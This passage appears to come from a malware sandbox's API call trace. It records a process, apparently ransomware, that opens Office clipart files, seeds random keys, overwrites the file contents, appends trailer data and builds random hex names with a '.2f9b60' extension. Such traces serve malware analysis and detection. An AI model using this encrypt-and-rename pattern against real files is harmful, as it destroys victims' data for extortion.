(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5150 [0161.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5180 [0161.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5180) returned 1 [0161.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ee1b0) returned 1 [0161.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0161.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0161.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0161.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5180 [0161.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0161.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0161.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a51b0 [0161.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a51b0) returned 1 [0161.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a51b0 [0161.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a51e0 [0161.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5210 [0161.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5210) returned 1 [0161.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0161.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0161.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab730 [0161.710] SetFilePointerEx (in: hFile=0x1c24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.710] WriteFile (in: hFile=0x1c24, lpBuffer=0x423ab730*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2385f8f0, lpOverlapped=0x0 | out: lpBuffer=0x423ab730*, lpNumberOfBytesWritten=0x2385f8f0*=0x10a, lpOverlapped=0x0) returned 1 [0163.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f580 [0163.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f580) returned 1 [0163.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f580 [0163.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.504] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.504] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="03") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="61") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="90") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="56") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="98") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="40") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="80") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="77") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="27") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="10") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="1f") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.505] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="58") returned 2 [0163.505] RtlInitAnsiString (in: DestinationString=0x2385f968, SourceString="8ed6a82e03d2d361d8901e569840d9808d7727101fb18e58" | out: DestinationString="8ed6a82e03d2d361d8901e569840d9808d7727101fb18e58") [0163.505] RtlAnsiStringToUnicodeString (in: DestinationString=0x2385f938, SourceString="8ed6a82e03d2d361d8901e569840d9808d7727101fb18e58", AllocateDestinationString=1 | out: DestinationString="8ed6a82e03d2d361d8901e569840d9808d7727101fb18e58") returned 0x0 [0163.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857800 [0163.506] RtlFreeAnsiString (AnsiString="8") [0163.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f580) returned 1 [0163.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab730) returned 1 [0163.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a51b0) returned 1 [0163.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a51e0) returned 1 [0163.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5180) returned 1 [0163.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5150) returned 1 [0163.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab040) returned 1 [0163.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ef20) returned 1 [0163.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e800) returned 1 [0163.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb61f0 [0163.509] wcscat (in: _Dest=0x1cdb61f0, _Source="8ed6a82e03d2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8ed6a82e03d2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8ed6a82e03d2" [0163.509] wcscat (in: _Dest=0x1cdb61f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8ed6a82e03d2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8ed6a82e03d2.2f9b60" [0163.509] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8ed6a82e03d2.2f9b60", NtPathName=0x2385f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8ed6a82e03d2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce238e0 Thread: id = 2327 os_tid = 0x1cc0 [0149.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0149.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF", dwFileAttributes=0x20) returned 1 [0149.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c34 [0149.367] GetFileSizeEx (in: hFile=0x1c34, lpFileSize=0x23adfcc0 | out: lpFileSize=0x23adfcc0*=2952) returned 1 [0149.367] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.367] ReadFile (in: hFile=0x1c34, lpBuffer=0x23adfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23adfc88, lpOverlapped=0x0 | out: lpBuffer=0x23adfc40*, lpNumberOfBytesRead=0x23adfc88*=0x4, lpOverlapped=0x0) returned 1 [0149.369] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f610 [0149.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9e0 [0149.370] NtQuerySystemTime (in: CurrentTime=0x23adfb80 | out: CurrentTime=0x23adfb80*=132462177545878000) returned 0x0 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x639081f6 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x29326943 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x2e454b26 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x6b163ff4 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x66bc0778 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x3d3f9dc [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x7b91b25e [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x75fe1e61 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x7a82faa1 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x4e89ba91 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x5863c9f0 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x5c8fc8fc [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x35dc80c8 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x3c836889 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x6b33700f [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x165051f9 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x69131084 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x5373d8a2 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x3a16df80 [0149.370] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x78663d64 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x44ea254a [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x23cd3d30 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x5cdde021 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x7171962f [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x26d9147e [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x413e4100 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x18689f40 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x3ea6f5c7 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x46260920 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x3613c99e [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x53b5ad43 [0149.371] RtlRandomEx (in: Seed=0x23adfb70 | out: Seed=0x23adfb70) returned 0x329bd2a0 [0149.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e920 [0149.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8693c0 [0149.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0149.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0149.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e9e0) returned 1 [0149.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0149.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8693c0 [0149.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202df170 [0149.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf03ab0 [0149.382] ReadFile (in: hFile=0x1c34, lpBuffer=0x202df170, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x23adfb70, lpOverlapped=0x0 | out: lpBuffer=0x202df170*, lpNumberOfBytesRead=0x23adfb70*=0xb88, lpOverlapped=0x0) returned 1 [0149.382] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.382] WriteFile (in: hFile=0x1c34, lpBuffer=0x1cf03ab0*, nNumberOfBytesToWrite=0xb88, lpNumberOfBytesWritten=0x23adfb74, lpOverlapped=0x0 | out: lpBuffer=0x1cf03ab0*, lpNumberOfBytesWritten=0x23adfb74*=0xb88, lpOverlapped=0x0) returned 1 [0161.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5210 [0161.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5240 [0161.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5240) returned 1 [0161.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf03ab0) returned 1 [0161.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202df170) returned 1 [0161.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0161.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0161.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5240 [0161.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0161.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8693c0 [0161.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5270 [0161.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5270) returned 1 [0161.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5270 [0161.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a52a0 [0161.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a52d0 [0161.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a52d0) returned 1 [0161.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0161.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0161.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab850 [0161.718] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.718] WriteFile (in: hFile=0x1c34, lpBuffer=0x423ab850*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23adfc90, lpOverlapped=0x0 | out: lpBuffer=0x423ab850*, lpNumberOfBytesWritten=0x23adfc90*=0x10a, lpOverlapped=0x0) returned 1 [0163.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0163.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e800) returned 1 [0163.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0163.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ef20 [0163.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ef20) returned 1 [0163.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.514] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="53") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="ec") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="79") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="33") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="c4") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="80") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="b9") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="60") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="78") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="82") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="20") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="34") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="19") returned 2 [0163.514] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="88") returned 2 [0163.515] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="e1") returned 2 [0163.515] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.515] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="17") returned 2 [0163.515] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="af") returned 2 [0163.515] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="90") returned 2 [0163.515] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="75") returned 2 [0163.515] RtlInitAnsiString (in: DestinationString=0x23adfd08, SourceString="9f53ec796e33e3c480b96078828a20341988e1d317af9075" | out: DestinationString="9f53ec796e33e3c480b96078828a20341988e1d317af9075") [0163.515] RtlAnsiStringToUnicodeString (in: DestinationString=0x23adfcd8, SourceString="9f53ec796e33e3c480b96078828a20341988e1d317af9075", AllocateDestinationString=1 | out: DestinationString="9f53ec796e33e3c480b96078828a20341988e1d317af9075") returned 0x0 [0163.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857870 [0163.515] RtlFreeAnsiString (AnsiString="9") [0163.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e800) returned 1 [0163.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab850) returned 1 [0163.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5270) returned 1 [0163.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a52a0) returned 1 [0163.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5240) returned 1 [0163.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5210) returned 1 [0163.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f610) returned 1 [0163.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e920) returned 1 [0163.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f430) returned 1 [0163.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6290 [0163.519] wcscat (in: _Dest=0x1cdb6290, _Source="9f53ec796e33" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f53ec796e33") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f53ec796e33" [0163.519] wcscat (in: _Dest=0x1cdb6290, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f53ec796e33.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f53ec796e33.2f9b60" [0163.519] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f53ec796e33.2f9b60", NtPathName=0x23adfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9f53ec796e33.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce239a0 Thread: id = 2328 os_tid = 0x1cc4 [0149.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0149.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF", dwFileAttributes=0x20) returned 1 [0149.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b1c [0149.391] GetFileSizeEx (in: hFile=0x1b1c, lpFileSize=0x1e44fbc0 | out: lpFileSize=0x1e44fbc0*=9992) returned 1 [0149.392] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x2704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.392] ReadFile (in: hFile=0x1b1c, lpBuffer=0x1e44fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e44fb88, lpOverlapped=0x0 | out: lpBuffer=0x1e44fb40*, lpNumberOfBytesRead=0x1e44fb88*=0x4, lpOverlapped=0x0) returned 1 [0149.393] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9e0 [0149.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0d0 [0149.394] NtQuerySystemTime (in: CurrentTime=0x1e44fa80 | out: CurrentTime=0x1e44fa80*=132462177546034000) returned 0x0 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x52ac6854 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x4b4640e4 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x6472d04b [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x2b7d126f [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x6465c42c [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x59e13bff [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x7b0b4ba4 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x2ede4c30 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 